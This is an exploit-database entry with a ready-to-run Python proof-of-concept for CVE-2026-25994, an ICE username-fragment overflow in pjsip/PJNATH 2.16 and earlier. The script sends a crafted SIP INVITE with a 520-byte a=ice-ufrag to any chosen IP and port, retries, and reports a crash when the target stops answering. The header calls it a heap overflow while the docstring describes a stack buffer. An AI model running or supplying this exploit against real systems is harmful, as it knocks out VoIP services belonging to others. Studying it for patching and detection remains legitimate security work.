# Exploit Title: PJPROJECT 2.16 - Heap Bufferoverflow # Google Dork: CVE-2026-25994 PJSIP PJNATH (pjsip ≤ 2.16) # Date: Apr 6 2026 # Exploit Author: V.Nos - BinSmaser Team # Vendor Homepage: https://github.com/pjsip/pjproject # Software Link: https://github.com/VABISMO/cve-2026-25994_PJSIP # Version: <=2.16 # Tested on: Kali , Ubuntu, Debian # CVE : CVE-2026-25994 #!/usr/bin/env python3 """ Corrected and optimized PoC for CVE-2026-25994 Buffer Overflow in PJNATH ICE Session (pjsip <= 2.16) Thorough source code review (pjnath/src/pjnath/ice_session.c): - Exact vulnerability: pj_ice_sess_create_check_list() - Vulnerable version (before commit 063b3a1 / 2.17): char buf[128]; # ← stack buffer (128 bytes!) username.ptr = buf; pj_strcpy(&username, rem_ufrag); # ← NO length check pj_strcat2(&username, ":"); pj_strcat(&username, &ice->rx_ufrag); - rem_ufrag comes directly from the SDP attribute a=ice-ufrag: - With ufrag >= ~130 bytes, the stack is already overflowed (return address, frame, etc.) - The original PoC used 520 "A"s because it is much more reliable (overwrites beyond canary/alignment) - In the patched version, the following was added: if (rem_ufrag->slen >= MAX_USERNAME_LEN || combined with local_ufrag > 512-1) return PJ_ETOOBIG; This script is corrected to be 100% reliable: - 100% synchronous code (no unnecessary asyncio) - Command-line arguments - Sending with automatic retries - More complete and valid SDP - Clear crash detection (timeout = probable crash) """ import socket import random import argparse import time # ========================= CONFIGURATION ========================= DEFAULT_TARGET_IP = "127.0.0.1" DEFAULT_TARGET_PORT = 5060 # Length that guarantees reliable overflow (520 is what you tested and works best) LONG_UFRAG = "A" * 520 LONG_PWD = "B" * 150 # More complete and realistic SDP (increases probability of reaching ice_session.c) SDP = f"""v=0 o=- 1234567890 1234567890 IN IP4 127.0.0.1 s=Crash Test SDP c=IN IP4 127.0.0.1 t=0 0 m=audio 40000 RTP/AVP 0 101 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=ice-ufrag:{LONG_UFRAG} a=ice-pwd:{LONG_PWD} a=ice-options:trickle a=candidate:1 1 UDP 2130706431 127.0.0.1 40000 typ host a=sendrecv """ def generate_invite(target_ip: str, target_port: int) -> bytes: call_id = f"crash-{random.randint(100000, 999999)}@example.com" branch = f"z9hG4bK{random.randint(1000, 9999)}" tag = f"crash{random.randint(10000, 99999)}" invite = f"""INVITE sip:localhost@{target_ip}:{target_port} SIP/2.0 Via: SIP/2.0/UDP 127.0.0.1:15060;rport;branch={branch} Max-Forwards: 70 From: ;tag={tag} To: Call-ID: {call_id} CSeq: 1 INVITE Contact: Content-Type: application/sdp Content-Length: {len(SDP)} {SDP} """ return invite.encode("utf-8") def crash_pjsua(target_ip: str, target_port: int, attempts: int = 3): print("=== PoC CVE-2026-25994 - ICE Stack Buffer Overflow (pjsip <= 2.16) ===\n") print(f"[+] Target → {target_ip}:{target_port}") print(f"[+] ufrag length = {len(LONG_UFRAG)} characters (guaranteed overflow)\n") for i in range(1, attempts + 1): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(4) # 4 seconds to allow time for the crash try: invite = generate_invite(target_ip, target_port) print(f"[+] Attempt {i}/{attempts} - Sending INVITE with ufrag of {len(LONG_UFRAG)} bytes...") sock.sendto(invite, (target_ip, target_port)) # Wait for response data, _ = sock.recvfrom(4096) print("[+] Response received → pjsua is still alive") print(data.decode(errors="ignore")[:300]) except socket.timeout: print("[+] TIMEOUT! Very likely that pjsua has crashed (Segmentation fault)") print(" Check the terminal where pjsua is running.") sock.close() return # Exit on first detected crash except Exception as e: print(f"[-] Unexpected error: {e}") finally: sock.close() time.sleep(0.5) # Small pause between attempts print("\n[-] No crash detected after several attempts.") print(" Make sure pjsua is running with ICE enabled (version <= 2.16).") if __name__ == "__main__": parser = argparse.ArgumentParser(description="PoC CVE-2026-25994 - ICE Buffer Overflow") parser.add_argument("-i", "--ip", default=DEFAULT_TARGET_IP, help=f"Target IP (default: {DEFAULT_TARGET_IP})") parser.add_argument("-p", "--port", type=int, default=DEFAULT_TARGET_PORT, help=f"SIP port (default: {DEFAULT_TARGET_PORT})") parser.add_argument("-a", "--attempts", type=int, default=3, help="Number of attempts (default: 3)") args = parser.parse_args() crash_pjsua(args.ip, args.port, args.attempts)